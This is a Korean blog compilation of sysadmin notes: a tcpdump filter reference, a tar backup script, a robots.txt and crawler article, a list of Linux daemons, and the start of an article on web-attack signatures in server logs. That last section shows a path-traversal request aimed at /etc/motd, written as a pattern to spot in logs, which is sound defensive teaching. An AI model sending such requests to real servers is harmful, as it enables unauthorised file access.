    dir   : 전송방향을 결정한다. 가능한 방향은 "src", "dst", "src or dst", "src and dst"이다
                 ex) "src foo", "dst net 123.4", "src or dst port ftp"  
                                       특별한 qualifier가 정해져 있지 않으면 "src or dst"로 가정한다.

    proto : 특정한 프로토콜의 패킷만을 받아들이게 한다. 가능한 proto로는 "either", "fddi",
              "ip" ,"arp", "rarp", "decnet", "lat",  "sca", "moprd", "mopdl", "tcp","udp"가 있다.
                 ex) "either src foo", "arp net 123.4", "tcp port 23"
                                      특별한 qualifier가 정해져 있지 않으면 "src or dst"로 가정한다.

 

        primitives

    dst host <host> : 패킷의목적지 필드에 있는 IP주소와 <host> (hostname, name
                             둘다 가능)가 일치하면 참.

    src host <host> : 패킷의 발신지 필드에 있는 IP주소와 <host> (hostname, name
                             둘다 가능)가 일치하면 참.

    host <host> : 패킷의 목적지 IP나 발싲니 IP중 어느하나라도 <host>와 일치하면 참.

    ether dst <ehost> : 패킷의 목적지 ethernet 주소(48bit의 주소로 일반적으로 X:X:X:X:X;X로                             표시된다.여기서 X는 16진수)가<ehost>와 일치하면 참.

    ether dst <ehost> : 패킷의 목적지 ethernet 주소가  <ehost>와 일치하면 참.

    gateway <ehost> :  <host>가 gateway로 쓰일 때 참. 즉, ethernet발신지 혹은 목적지
                                 주소는 <host>이나 IP 발신지 혹은 목적지 주소로 <host>는 될 수
                                 없다는 것을 의미한다.
                                 <host>는 반드시 /etc/hosts와 /etc/ethers에서 찾을 수 있어야 한다.                              이 exulssion은 "ether host <ehost> and not host <host>"와
                                 동일한 의미를 가진다.

    dst net <net> : 패킷의 IP목적지 주소가 <net>과
                          동일한 테트워크 번호(network number)를 가지면 참.

    src net <net> : 패킷의 IP발신지 주소가 <net>과
                          동일한 테트워크 번호(network number)를 가지면 참.

    net <net> : 패킷이 IP목적지 혹은 발신지 주소 둘 중 어느 하나라도 <net>과
                    동일한 network number를 가지면 참 .

    net <net> mask <mask> : IP주소가 지정된 netmask(<mask>)를 통하여
                                          network number <net>와 일치하면 참.

    net <net>/<len> : IP주소가 network number <net>과 netmaks의 <len>비트만큼
                              일치하면 참.

    dst port <port> :  패킷이 IP혹은 UDP 이면서 목적지 port값으로 <port>를 가지고 있다면 참.                         <port>는 숫자나 /etc/services에 정의 되어있는 port이름을
                             사용할 수 있다.

    src port <port> : 패킷이 IP혹은 UDP 이면서 발신지 port값으로 <port>를 가지고 있다면 참.

    port <port> : 패킷의 목적지 혹은 발신지 port값에서 둘주 어느하나라도 <port>와 같으면
                      참이된다.
                      위의 port exulssion들은 "tcp"나 "udp"와 함께쓰일 수 있다.
      ex) tcpdump tcp src port 23  -tcp패킷중에서 발신지 port 23인 것만 검출하여 보내준다.

    less <length> : 패킷의 길이가 <length>Byte보다 작거나 같으면 참이된다.

    greater <length> : 패킷의 길이가 <length>Byte보다 크거나 같으면 참이된다.

    ip proto <protocol> : 패킷이 <protocol> protocol형태의 ip패킷이면 참.
                                 <protocol>에는 icmp, igrp, udp , tcp이름이 들어갈 수 있다.
                                  tcp, udp,icmp는 키워드로도 사용되기 때문에 <protocol>의 값이
                                  되기 위해서는 앞에 backslash를 붙여준다.

    ether broadcast : 패킷이 ethernet broadcast패킷이면 참. "ehter" keyword는 생략 가능.

    ip broadcast : 패킷이 ip broadcast패킷이면 참.

    ether multicast : 패킷이 ethernet multicast 패킷이면 참이된다.
                            "ether"keyword 는 생략가능.

    ip multicast : 패킷이 ip multicast패팃이면 참.

    ether proto <protocol> : 패킷이 <protocol>의 ether형태라면 참.
                                     <protocol>의값으로는 숫자나 ip, arp, rarp와 같은 이름이 될수있다.

    decnet src <host> : DECNET발신지 주소가 <host>이면 참이 된다.
                                 <host>의 값으로는 "10.123"나 DECNET호스트 이름이 될수있다.

    decnet dst <host> : DECNET목적지 주소가 <host>이면 참.

    decnet host <host> : DECNET목적지혹은 발신지 주소중에서 어느 하나라도
                                  <host>와 일치하면 참.

    ip, arp, rarp, decnet : "ether proto <p>"의 축약형이다.
                                    여기서 <p>값은 위의 protocol중의 하나가된다.

    tcp, udp, icmp : "ip proto <p>"의 축약형이다. 여기서 <p>값은 위의 protocol중 하나가된다.

 

        간단한 exulssion들을 다음의 관계연산자를 통하여 묶음으로서 더욱 복잡한 filter          exulssion을 구성할 수 있다.

    * Nagation : "!", "not"
    * Concatenation : "&&", "and"
    * Alternation : "||", "or"

 

 

    tcp_dump의 사용

 .shell> tcpdump -t
tcpdump: listening on eth0
0:a0:c9:4:2e:48 sap c4 > 0:60:b0:f2:5f:b sap b4 sabme/P len=43
arp who-has 143.248.1.200 (6:6b:e8:c0:4:11) tell kaist-gw.kaist.ac.kr
211.205.0.142.1432 > gaya.kaist.ac.kr.telnet: . ack 4254948997 win 15826 (DF)
gaya.kaist.ac.kr.telnet > 211.205.0.142.1432: P 1:93(92) ack 0 win 32522 (DF)
arp who-has ns.kaist.ac.kr tell gaya.kaist.ac.kr
arp reply ns.kaist.ac.kr is-at 8:0:20:cc:66:1f
gaya.kaist.ac.kr.1043 > ns.kaist.ac.kr.domain:  17263+[|domain]
ns.kaist.ac.kr.domain > gaya.kaist.ac.kr.1043:  17263 NXDomain*[|domain] (DF)
gaya.kaist.ac.kr.1043 > ns.kaist.ac.kr.domain:  17264+[|domain]
ns.kaist.ac.kr.domain > gaya.kaist.ac.kr.1043:  17264*[|domain] (DF)
gaya.kaist.ac.kr.1043 > ns.kaist.ac.kr.domain:  17265+[|domain]
ns.kaist.ac.kr.domain > gaya.kaist.ac.kr.1043:  17265 NXDomain[|domain] (DF)
gaya.kaist.ac.kr.1043 > ns.kaist.ac.kr.domain:  17266+[|domain]
ns.kaist.ac.kr.domain > gaya.kaist.ac.kr.1043:  17266*[|domain] (DF)

 

        Example 1
    1. icmp패킷만 출력한다.
    2. 패킷의 수신지 혹은 발신지가apple 인 것을 출력한다.
    3. 패킷의 수신지 혹은 발신지가 sun이나 moon이면 출력하지 않는다.

   shell> tcpdump ip proto '\icmp && host apple && !(sun || moon)'
               or
   shell> tcpdump ip proto \\icmp and host apple and not \(sun || moon \))



        Example 2
    패킷의 발신지가apple이고 수신지는 banana가 아닌 패킷을 출력한다.

   shell> tcpdump src host apple and not dst host banana


         Example 3

    echo requests/replies가 아닌 모든 ICMP패킷을 출력한다.

   shell> tcpdump 'icmp[0] != 8 and icmp[0] != 0"


        Example 4

    tcp 프로토콜 통신에서 123.45.67.89가 수신지나 발신지가 아닌 모든 SYN ,
    FIN 패킷을 출력한다

   shell> tcpdump 'tcp[13] & 3 != 0 and not net 123.45.67.89'

 

 

TCP 플래그tcpdump에서 쓰는 플래그플래그의 의미
SYNsSyn 패킷, 접속요청을 할 때 보낸다. TCP 접속을 할 때 가장 먼저 보내는 패킷이다.
ACKackAck 패킷, 상대방으로부터 패킷을 받았음을 알려주기 위해 보낸다. 다른 플래그와 함께 출력되는 경우도 있다.
FINf접속 종료를 위한 플래그로, 이 패킷을 보내는 곳이 현재 접속하고 있는 곳과 접속을 끊고자 할 때 사용한다.
RESETr이 패킷을 보내는 곳이 현재 접속하고 있는 곳과 즉시 연결을 끊고자 할 때 사용한다.
PUSHp데이터를 즉시 목적지로 보내라는 의미이다. 텔넷(telnet)과 같이 상호작용이 중요한 프로그램의 경우, 빠른 응답이 생명이다. 그래서 "push" 플래그를 사용한다.
URGENTurg긴급한 데이터는 다른 데이터에 비해 우선 순위가 높아야 한다. 예를 들어 ftp로 자료를 받고 있는 도중 Ctrl-C를 받으면 즉시 자료 받기를 중단해야 한다.
Placeholder.패킷이 syn, finish, reset, push 등의 플래그가 없는 경우, placefolder 플래그가 세팅된다. 이 플래그는 ack 플래그와 함께 사용되는 경우도 있다.

Posted by 큰바우
:

#!/bin/sh


###################################
##### freudd's backup script ######
###################################
### E-mail: freudd at orgio.net ###
###################################




###################################### 사용법 ############################################
# 밑에 있는 parameter를 세팅 후 사용하세요. #
# DESTINATION_DIR => 백업한 파일이 위치할 경로 #
# (맨 끝에 $DATE는 백업한 날짜로 디렉토리를 만드니 원하시면 붙이시고 아니면 말고... ^^) #
# #
# SOURCE_DIR => 압축을 해서 백업할 목록 #
# NSOURCE_DIR => 압축 안하고 그냥 백업할 목록 #
# EXCLUDE => 백업시 제외될 파일이나 디렉토리 목록 #
# FILES => 그 외 그냥 카피할 기타 여러 파일들 나열 #
##########################################################################################

# 압축할 경우에는 기본적으로 bzip을 사용합니다.
# 선택할 수 있게 할려 했는데 귀찮아서요... 흐흐~~
# 로그파일은 백업받은 곳에 Backup.log 입니다.
# umask 는 0077 로 세팅했습니다. (사용자 권한만...)





# 연도 월 일 시 분
DATE=`date '+%Y%m%d%H%M'`

############################# Setting This parameter #####################################
##########################################################################################

DESTINATION_DIR="/ftp/pub2/Backup/$DATE"
EXCLUDE_LIST=${DESTINATION_DIR}/Exclude_List
EXCLUDE_LIST_CANDIDATE=${DESTINATION_DIR}/Exclude_List.candidate
LOG=${DESTINATION_DIR}/Backup.log

SOURCE_DIR="/boot /var/www /etc /root" # with compress
NSOURCE_DIR="/home/freudd" # with no-compress
EXCLUDE="/home/freudd/starsuite6.1 /home/freudd/download /home/freudd/temp" # for Exclude
FILES="/usr/X11R6/lib/X11/ko/app-defaults/Hanterm"
##########################################################################################


umask 0077

mkdir ${DESTINATION_DIR}
touch ${EXCLUDE_LIST_CANDIDATE} # 안 만들어주면 제외 목록이 없는 SOURCE를 Backup 할 때 Error!!




#### Function ################################################################################
Build_Exclude_List () {

echo ${EXCLUDE} | sed 's/ /\
/' > ${EXCLUDE_LIST} # 빈칸을 뉴라인 문자로

for i in `cat ${EXCLUDE_LIST} | grep ${DIR}`
do
# 첫번째 sed 명령어에서 이중인용부호
echo ${i} | sed "s;$DIR;;" | sed 's;/;\./;' >> ${EXCLUDE_LIST_CANDIDATE}
done

}





echo "********* Starting Backup ***********"



##### Main ####################################################################################
if [ -n "${SOURCE_DIR}" ]; then

#### Directory Backup -> compress
for DIR in `echo ${SOURCE_DIR}`
do
Build_Exclude_List
cd ${DIR}
# tar cvjplf `echo $DIR | sed 's/\///'`.tar.bz2 $DIR
echo -n "**** tar -cvjpl -f ${DESTINATION_DIR}/`basename ${DIR}`.tar.bz2 " \
| tee -a ${LOG}
echo "--exclude-from=${EXCLUDE_LIST_CANDIDATE} . ****" \
| tee -a ${LOG}
tar -cvjpl -f ${DESTINATION_DIR}/`basename ${DIR}`.tar.bz2 \
--exclude-from=${EXCLUDE_LIST_CANDIDATE} . \
| tee -a ${LOG}

done

cat /dev/null > ${EXCLUDE_LIST_CANDIDATE} # 밑에 루프를 실행하기 위해 초기화
fi





if [ -n "${NSOURCE_DIR}" ]; then

#### Directory Backup -> no-compress
for DIR in `echo ${NSOURCE_DIR}`
do
mkdir ${DESTINATION_DIR}/`basename ${DIR}`
Build_Exclude_List
cd ${DIR}
echo -n "**** tar -cl -f - --exclude-from=${EXCLUDE_LIST_CANDIDATE} . | " \
| tee -a ${LOG}
echo "( cd ${DESTINATION_DIR}/`basename ${DIR}` && tar xpvf - ) ****" \
| tee -a ${LOG}
tar -cl -f - --exclude-from=${EXCLUDE_LIST_CANDIDATE} . | \
( cd ${DESTINATION_DIR}/`basename ${DIR}` && tar xpvf - ) \
| tee -a ${LOG}

done
fi




#### Misc Files Backup -> no-compress
echo "**** cp ${FILES} ${DESTINATION_DIR} ****" | tee -a ${LOG}
cp ${FILES} ${DESTINATION_DIR} | tee -a ${LOG}


#### remove exclude list file
rm -f ${EXCLUDE_LIST} ${EXCLUDE_LIST_CANDIDATE}



echo "********* Ending Backup ***********"


exit 0

 

출처:KLDP(http://kltp.kldp.org/stories.php?story=03/07/10/5755334)

Posted by 큰바우
:
웹 서버 로그 목록을 조사하다 보면 매일같이 누군가가 robots.txt란 파일을 찾는다는 사실을 알게 될 것이다. 하지만 robots.txt란 파일은 가지고 있지도 않은데 이걸 찾는 사람은 도대체 누구인가?


robots.txt은 뭐고, 이 안에 뭐가 들어있길래?


이번 기사에서는 이 로봇(robot)의 정체와, 그와 함께 빠지지 않고 등장하는 스파이더(spider)의 실체에 대해서도 알아보자. 그리고 이들이 어떤 장점과 단점을 갖고 있는지 알아보고, 이들을 어떻게 제대로 이용할 수 있는지를 파악해 보도록 하자.


로봇(Robot)과 스파이더(Spider)는 무엇인가?


로봇은 짧게 줄여 밧(bot)이라고 하거나, 스파이더, 웹 크롤러(web crawler) 등 여러 다양한 이름으로 불려진다. 로봇은, 간단히 설명해, 자동으로 웹 페이지의 내용을 다운로드 받는 ‘프로그램’이다. 로봇은 다양한 목적에 의해 웹 페이지들의 내용을 끌어와 로봇 사용자가 그 페이지들의 내용을 정리할 수 있게 해준다.

로봇은 일단 웹 페이지 하나를 다운로드 받으면 그 페이지와 관련된 또 다른 페이지를 계속 연결해 찾아내기 때문에 사람들은 이 모습을 보고 거미가 거미줄을 치는 것을 연상했다고 한다. 그래서 이 프로그램의 이름을 거미란 뜻의 ‘스파이더’로 지었던 것이다.

대부분의 스파이더는 웹 페이지를 탐색한 뒤에 그 탐색 결과를 남겨 두게 되고, 사용자는 다음 번에 인터넷에 연결되지 않은 상태에서 웹 페이지들에 연결할 수 있게 된다. 그리고 검색된 콘텐츠를 캐쉬에 저장했다가 사용자가 다음 번 접속 시 더욱 빠르게 웹을 검색할 수 있게 하는 스파이더 종류도 있다.


거미는 좋은 놈이다


스파이더가 없다면 야후나 구글, 알타비스타 등의 검색 엔진들은 존재하지 않았을 것이다. 이 검색 사이트들은 스파이더를 이용해 수많은 웹 사이트들을 인덱스 해 놓는다. 그리곤 사용자들이 원하는 웹 페이지를 키워드를 이용해 찾을 수 있게 한다. 야후 같은 경우 현재 스파이더를 통해 인덱스 된 웹 페이지가 수십억에 이를 것으로 추정되고 있다.

스파이더는 또한 사용자들이 원하는 정보만 골라 받을 수 있는 맞춤 서비스를 가능하게 해 준다. 예를 들어, 뉴스 사이트로부터 사용자가 원하는 뉴스의 종류를 골라낼 때 이 스파이더가 이용되는 것이다. 만일 스파이더 없이 사람이 직접 사용자들이 선택한 뉴스를 일일이 골라 보내려고 한다면 그 작업량은 상상할 수 없을 만큼 늘어나게 된다.


거미는 나쁜 놈이기도 하다


스파이더는 웹 사이트에 매우 심각한 문제를 일으키기도 한다. 제대로 관리되지 않은, 혹은 잘못 프로그래밍 된 스파이더는 사이트 주인이 원하지 않는 내용을 허락도 없이 다운로드 받아버리거나, 원래의 페이지 정보를 보존하지 못하고 업데이트 된 다른 내용으로 변경시켜 버릴 수도 있다. 게다가 짧은 시간에 사용자들이 검색하는 수많은 페이지를 한꺼번에 요구하는 바람에 서버가 작동 불능의 상태를 보이기도 한다.

그러나 일반적으로 이것은 스파이더를 제대로 통제할 수 있는 기술이 뒷받침 되지 않아서 발생하는 문제다. 스파이더를 올바르게 프로그래밍 할 수 있는 사람만 있다면 서버의 과부하 같은 문제는 사전에 막을 수 있다.


거미로부터 서버를 보호하자


분명히 자신의 사이트에는 스파이더가 접근하지 말았으면 하는 부분이 있을 것이다. 자신이 보유하고 있는 콘텐츠 중에는 검색 엔진에 공개되면 안 되는 것이 있거나, 매번 자동으로 갱신되거나 다시 만들어지는 페이지도 있을 것이다. 이런 경우는 사용자들이 방문할 때마다 콘텐츠가 달라지기 때문에 검색 엔진에 인덱스를 걸어놓을 수 없는 상황이 된다.

최악의 경우, 스파이더가 자동 업데이트 되는 페이지를 또 다른 자동 업데이트 페이지에 링크를 시켜 로봇이 페이지 사이의 링크를 영원히 반복하게 되는 수도 있다.

이런 나쁜 상황들을 미연에 방지하기 위해 ‘로봇 제한 기준(standard for robot exclusion)’이라는 것이 만들어졌다. 여기에는 로봇이 특정 콘텐츠에 접근하는 것을 막아 주는 robots.txt 파일이 포함돼 있다. 사람들은 이 파일을 조작해 자신의 사이트를 찾아오는 로봇에게 어떤 것을 다운로드 받지 말아야 하는지 알려 줄 수 있다.

이 파일은 대개 다음과 같은 형식을 가진다.


UserAgent: 스파이더의 이름
Disallow: /cgi-bin/dynamicstuff/


여기에 이름이 들어간 스파이더는 아래 명시된 디렉터리에 접근이 불가하게 된다.

그리고 스파이더 이름에 별표(*) 모양을 입력해 모든 스파이더들의 특정 디렉터리로의 접근을 막을 수 있다.


UserAgent: *
Disallow: /cgi-bin/


문제는 robots.txt 파일이 강제성을 띠지 않는다는 것이다. 이 파일이 로봇에 제대로 작용하기 위해서는 처음 로봇 프로그램을 짜는 사람이 로봇에게 robots.txt 파일을 먼저 읽고 허락되지 않은 디렉터리에 접근하지 말라는 명령을 집어 넣어야 한다. 그러나 로봇을 프로그래밍 하는 사람이 이런 명령을 고의적으로 삭제하거나, 모르고 빼먹는다면 로봇은 허가되지 않은 페이지들을 모두 다운로드 받게 된다. 어떤 종류의 서버를 사용하든지 아파치는 스파이더와 일반 사용자를 구분할 수가 없기 때문에 이런 문제가 발생할 수 밖에 없다.

만일 로봇이 robots.txt 파일을 무시한 채 제멋대로 금지된 페이지를 읽어 갔다면, 취할 수 있는 몇 가지 방법이 있다.

먼저, 이 로봇을 ‘부리고 있는’ 사람과 연락을 취하도록 한다. 액세스 로그를 살펴보고 이 로봇이 어느 주소로 들어왔는지 확인한다. 그리고 그 주소 서버의 책임자가 누구인지 알아낸다. 정체가 확인되면 그 사람에게, 자신의 사이트 탐색을 중단하고, 로봇 제한 기준을 지켜달라는 내용의 정중한 노트나 이메일을 보내도록 한다.

만일 이런 정중한 요구가 지켜지지 않을 경우 아예 콘텐츠를 기술적으로 막아버려 외부로부터의 침입을 봉쇄하도록 한다. 외부로부터의 접근을 모두 차단할 수도 있지만 그 문제의 로봇이 들어오는 주소를 기준으로, 혹은 사용자 에이전트를 기준으로 접근을 제한할 수 있다.


로봇 만들기


자기 자신만의 로봇을 만들고 싶다면, 먼저 웹 사이트에 돌아다니고 있는 수백 종류의 로봇들 중에 자신이 원하는 것을 골라보도록 하라. 그 로봇들의 종류와 정보는 다음의 웹 사이트에서 살펴볼 수 있다. http://info.webcrawler.com

하지만 정말 자기 자신만의 로봇을 ‘직접’ 만들어 보고 싶다면 로봇에게 원하는 기능을 자유자재로 부여할 수 있는 LWP 패키지에 펄(Perl) 모듈을 이용하면 된다. 이 모듈은 매우 간단한 방법으로 여러 복잡한 기능들을 짜 넣을 수 있다.

그리고 이때, 반드시 로봇 제한 기준을 준수하도록 하자. 로봇을 만드는 일은 너무너무 쉽다. 하지만 자신의 로봇으로 다른 사이트들에 피해를 입히지 않기 위해서는 로봇 사용자의 세심한 주의가 필요한 것이다.

출처 : 코리아인터넷닷컴, 2000년 11월 29일
저자 : Rich Bowen, apachetoday.com
Posted by 큰바우
:

작성자 : 굼벵이 ( linuxis@linux.co.kr ) 님

amanda : 백업 클라이언트인 amanda 데몬

amandaidx : amanda 서버의 패키지 서비스 중 하나인 amandaidx 데몬

amd : auto mount daemon, 시스템의 요청이 있는 경우에 자동으로 장치와 NFS 호스트를 마운트해 주는 데몬. 네트워크의 설정이 잘못된 경우에는 부팅을 하는 도중에 문제를 일으킬수 있으므로 처음에서 꺼두는 것이 좋다.

amidxtape : amand 서버에 패키지 서비스 중 하나인 amidxtape 데몬

anacron : 시간에 따라 지정한 프로그램을 정기적으로 실행하는 데몬. cron과 같은 기능을 하지만 계속 켜두지 않는 컴터에서 사요하는 데몬

apmd : 베터리 상태를 감시하고 syslog(8)에 기록하며 시스템을 끄기도 하는 데몬

arpwatch : 이더넷 카드와 ip 어드레스의 설정 관계를 유지하는 데몬

atd : 특정 시간 또는 시스템 부하가 적을때 지정된 명령을 실행시키는 데

autofs : 파일 시스템을 사용하고자 할때 자동으로 마운트 시켜주는 데몬

chargen : chargen의 TCP 버전 서버

chargen-upd : chargen의 UDP 버전 서버

ciped : ip address를 암호화하는 CIPE 데몬

crond : cron을 실행시키는 데몬, cron은 지정한 프로그램을 특정 시간에 주기적으로 실행시키는

유닉스 표준 프로그램

daytime : daytime의 TCP 버전 서버. daytime은 클라이언트의 질의에 응답하여 아스키 형태로 현재 시간과 날짜를 출력하는 데몬. TCP 포트 13을 사용

daytime-udp : daytime의 UDP 버전 서버. UDP포트 13을 사용

dhcpd : Dynamic host configuration protocol server daemon. 동적 호스트 제어 프로토콜 서버 데몬. BOOTP와 DHCP가 포함된 데몬으로 클라이언트들이 부팅할때 자동으로 동적 IP 어드레스와 네트워크 정보를 가질수 있게 해줌.

echo : echo 의 TCP 버전 서버

echo-udp : echo 의 UDP 버전 서버

finger : finger 리퀘스트에 응답하는 서버. finger는 사용자에 대한 로그인 네임, 디렉토리, 쉘과 최종 로그인 시간에 대한 정보를 볼수 있게 하는 프로토콜

gated : gated(라우팅 데몬) 을 시작하거나 종

gpm : MC(midnight command) 와 같은 텍스트 기반 리눅스용 애플리케이션에서 마우스를 쓸수 있

게 해주는 데몬. 콘솔에서 마우스를 이용한 팝업 메뉴와 복사/ 붙이기 기능도 지원

httpd : 웹 서비스를 위한 아파치 데몬. html파일과 cgi를 사용가능하게 함

identd : 특별한 TCP 연결에서 사용자의 신원을 결정해 주는 데몬. TCP 포트번호를 주면 연결된 서버 시스템 소유자를 확인할수 있는 문자열을 돌려줌

imap : 원격 사용자가 imap 클라이언트(Pine, netscape communicator)를 이용하여 자신의 메일에 접근할수 있게 하는 서비스

imaps : 원격 사용자가 SSL을 지원하는 imap 클라이언트(netscape communicator, fetchmail 등)를 이용하여 자신의 메일에 접근할수 있게 하는 서비

innd : 유즈넷 뉴스 서버를 이용하여 지역 뉴스 서버를 설정할수 있는 데몬

ipchains : 패킷 필터링 파이어월을 자동으로 실행하는 데몬

ipop2 : 원격 사용자가 pop2 클라이언트를 이용하여 메일에 접근할수 있게 하는 서비스

ipop3 : 원격 사용자가 pop3 클라이언트를 이용하여 메일에 접근할수 있게 하는 서비스

irda : irda 가 정상적으로 동작하도록 해 주는 데몬

keytable : /etc/sysconfig/keytable로 키보드 유형을 변환할수 있게 하는 서비스. 한텀에서

 

kbdconfig 프로그램을 실행하여 키보드 유형을 변환할수 있다. 대부분의 시스템에서 keytable 데몬은 실행시켜 두어야 한다.

kudzu : 부팅시 새롭게 추가된 하드웨어를 설정할 수 있게 hardware probe를 실행시키는 데몬

linuxconf : 시스템 설정을 유지하기 위해 부팅시에 다양한 태스크의 실행을 정렬시키는 데몬.

linuxconf-web : 웹을 통해 linuxconf를 실행할수 있게 연결을 허용하는 데몬

lpd : 프린터(line printer)가 정상적으로 동작하도록 해 주는 프린트 서비스 데몬

mars-nwe : netware IPX 프로토콜을 사용하는 클라이언트에게 리눅스 머신에서 파일과 프린트 서버를 호환시켜 주는 데몬

mcserv : midnight command(MC) 서버이다. MC끼리 네트워크를 공유한다

mysqld : 매우 빠르고 안정적인 mysql 데이타 베이스 서버 데몬이다

named : 도메인 네임과 ip어드레스를 해석하기 위한 DNS서버(BIND) 데몬. 로컬 호스트에서 DNS서버를 운영할때만 실행 시킨다.

netfs : 삼바, 네트워크 파일 시스템(NFS), NCP(netware)등의 마운트와 언마운트에 관여하는 데몬.

network : 네트워크 인터페이스의 설정을 시스템 부팅시 커널에 적재시키는 데몬.

nfs : TCP/IP 네트워크에서 파일을 공유할수 있게 하는 데몬. /etc/exports 파일에서 설정한 NFS

서버가 기동할수 있게 해 준다.

nfslock : NFS파일을 locking 한다.

nscd : NIS/NS 를 사용할수 있게 하는 데몬. nscd는 실행중인 프로그램의 그룹을 살피고 패스워드를 변경하거나 다음 질의를 위해 결과를 캐시하는 데몬이다.

ntalk : 서로 다른 시스템끼리 채팅이 가능하게 ntalk 연결을 허용하는 서버

ntpd : NTPv4데몬

pcmcia : 휴대용 PC에서 이더넷이나 모뎀을 쓸수 있게 하는 데몬.

pop3s : SSL을 지원하는 pop3클라이언트를 사용하여 메일에 접근할수 있게 하는 서비스이다.

portmap : RPC(NFS, NIS, mcsev등) 연결을 관리하기 위한 포트 매핑 데몬으로 RPC를 사용하는

프로그램을 실행하기 위해서는 반드시 선택하여야 하는 데몬.

postgresql : postgresql 디비에 관한 데몬

pppoe : adsl서비스에 연결시켜 주는 데몬

proftpd : 쉬운설정, 보안성, 단순성에 초점을 맞춘 개선된 ftp 서버 데몬

pxe : 부팅전 실행환경 서버. 다른 PXE기반 머신에 네트워크 부팅을 제공한다

random : 시스템에 필요한 난수 발생 및 저장 데몬

rawdevices : HDD 파티션과 같은 블론 디바이스를 위한 스크립트. /etc/sysconfig/rewdevices 파일을 편집하여 원시 디비아스를 블론 디바이스로 매핑할수 있다.

reconfig : /etc/reconfigSys 파일이 존재하면 재설정을 실행하는 데몬

rexec : rexec(3) 루틴을 위한 서버 데몬. 인증된 사용자 이름과 패스워드로 원격 실행을 제공하는 서버이다.

rlogin : rlogin 프로그램을 위한 서버 데몬. 신뢰할수 있는 호스트로부터 특권화된 포트 번호에 기반한 인증을 통해 원격 로그인을 제공한다.

routed : RIP 프로토콜을 통해 업데이트된 자동 IP 라우팅 테이블 설정 데몬

rsh : rshd 서버는 rcmd 루틴을 위한 서버이며 따라서 rsh 프로그램을 위한 서버이다. 신뢰할수 있는 호스트로부터 특권화된 포트번호에 기반한 인증 통해 원격 실행을 제공한다.

rstat : 네트워크에 연결된 사요자에게 그 네트워크 상의 머신에 대한 퍼포먼스 매트릭스를 회수할수 있게 해주는 프로토콜

rsync : 컴퓨터간 자료 공유를 위해서 사용되는 rsync에 대한 데몬이다.

rusersd : 네트워크에 특정 사용자가 있는 검색해 주는 데몬.

rwalld : 시스템에 동작중인 모든 터미널에 메시지를 표시할수 있게 해 주는 프로토콜

rwhod : 원격 접속자의 목록을 볼수 있게 해주는 데몬. finger와 비슷한 기능을 한다.

sendmail : 메일을 다른 호스트로 전송하는 메일 전송(Mail Transport Agent)데몬

smb : SMB 네트워크 서비스를 제공하기 위한 삼바 서버(smbd와 nmbd)데몬

snmpd : SNMP(Simple Network Management Protocol)데몬

squid : HTTP, FTP, gopher와 같은 프로토콜을 사용할때 캐싱 속도를 높이는 데몬.

sshd : openssh 서버 데몬

swat : 삼바 웹 관리 툴, 삼바 서버의 설정을 위해 swat를 사용하며, 웹 브라우저를 통해 901포트로 접속한다.

syslog : 많은 데몬들이 로그 메세지를 다양한 시스템 로그파일에 기록하는데 사용하는 데몬.

 

syslog는 항상 실행되는 것이 좋다.

talk : 다른 시스템에 접속한 사용자로 부터 채팅 요구에 응답하여 터미널의 내용을 다른 사용자에게 보내서 대화할수 있게 하는 데몬.

telnet : telnet 세션을 제공하는 서버. 인증을 위해 사용자 이름과 패스워드를 사용한다.

tftp : 파일 전송을 위한 프로토콜. tftp프로토콜은 어떤 OS에서는 부팅 디스켓이 없는 워크스테이션이나 네트워크 인식 프린터를 위한 설정 파일의 다운로드, 설치 프로세스의 시작을 위해 가끔 이용된다.

time : rdate 데몬에 의해 사용되는 RFC 868 시간 서버의 TCP 버전

time-udp : rdate 데몬에 의해 사용되는 RFC 868시간 서버의 UDP 버전

webmin : webmin 관리자 서버 데몬

xfs : 부팅과 셧다운시 X 폰트 서버를 시작하거나 종료시키는 데몬

xinetd : inetd 데몬을 대체하는 강력한 데몬. telnet, ftp 등과 같은 서비스를 처리하는 슈퍼 데몬.

ypbind : NIS/YP 클라이언트에서 실행되는 데몬으로 NIS도메인을 바인드한다. NIS클라이언트로 동작하기 위해서는 glibc에 기반한 시스템에서 실행되어 한다. 그러나 NIS를 사용하지 않는 시스템에서는 실행하지 말아야 한다.

yppasswd : NIS클라이언트 사용자의 패스워드를 변경할수 있게 해 주는 데몬

ypserv : 표준 NIS/YP 네트워크 프로토콜 서버. 호스트 네임, 사용자 네임과 다른 정보 데이타베이스를 네트워크를 통하여 배포하는 것은 허용한다. ypserv데몬은 클라이언트에서는 필요하지 않으며 NIS 서버에서 실행된다.

Posted by 큰바우
:
"Fingerprinting을 이용한 80 포트(웹서버) 공격법들"

웹서버와 웹 응용프로그램을 공격하기 위한 문자(기호)들을 살펴본다.

I. 서론

80 포트는 웹사이트를 위한 표준적인 포트이며, 이 웹사이트에는 많은 보안위험 요소를 가지고 있다.

이들 보안 위험 요소는 공격자가 웹서버의 관리자 권한을 획득할 수 있거나 심지어 웹서버 자체를 자신의 것으로 만들 수 있다.

이 문서는 약간의 문자(기호)를 조합하여 웹서버를 공격하는 예를 보여주며, 당신은 이 공격기호들을 웹로그 파일 안에서 볼 수 있다.

II. 일반적인 Fingerprints

이 단락에서는 일반적인 Fingerprints를 하기 위한 웹 응용프로그램과 웹서버의 공격코드를 사용하는 예를 보여 줄 것이다.

여기서는 당신에게 사용가능한 모든 Fingerprints를 보여주지는 않을 것이다. 그 대신 일반적으로 사용하는 공격 기호들을 간략하게 보게 될 것이다.

이들 문자(기호)의 대부분은 이미 알려져 있지만 아직 알려지지 않은 취약한 문자(기호)들을 선택하여 공격자들은 공격할 수도 있다.

아래 기호는 보통 웹 서비스에서 사용될 수 있지만, 공격시에도 사용될 수 있다.

"." ".." 그리고 "..."의 요청들

이들 대부분의 공격 기호들은 웹 응용프로그램이나 웹서버에서 둘다 사용할 수 있는 일반적인 공격 코드이다.

웹서버에 접근하기 위한 디렉토리 변경이나 버그를 찾기 위해 공격자는 공개된 기법들을 동원하지는 않는다.

거의 대부분의 취약점은 CGI 버그를 이용한다.

아래 ".."을 요청한 예를 보자

* http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

이것은 공격자가 당신의 웹서버에게 "Message Of The Day"파일인 /etc/motd파일 내용을 요청한다.

이것이 성공한다면 공격자는 당신의 웹서버 루트 권한을 획득 한다거나 일반 사용자 권한을 획득하기 위해 충분한 정보를 모으는 것이 가능할 수 있다.

"%20" 요청하기

이것은 공백을 위한 Hex값이다. 이것은 당신의 로그파일 안에서 자주 나타나기도 하지만 공격코드가 아닐 수도 있다.

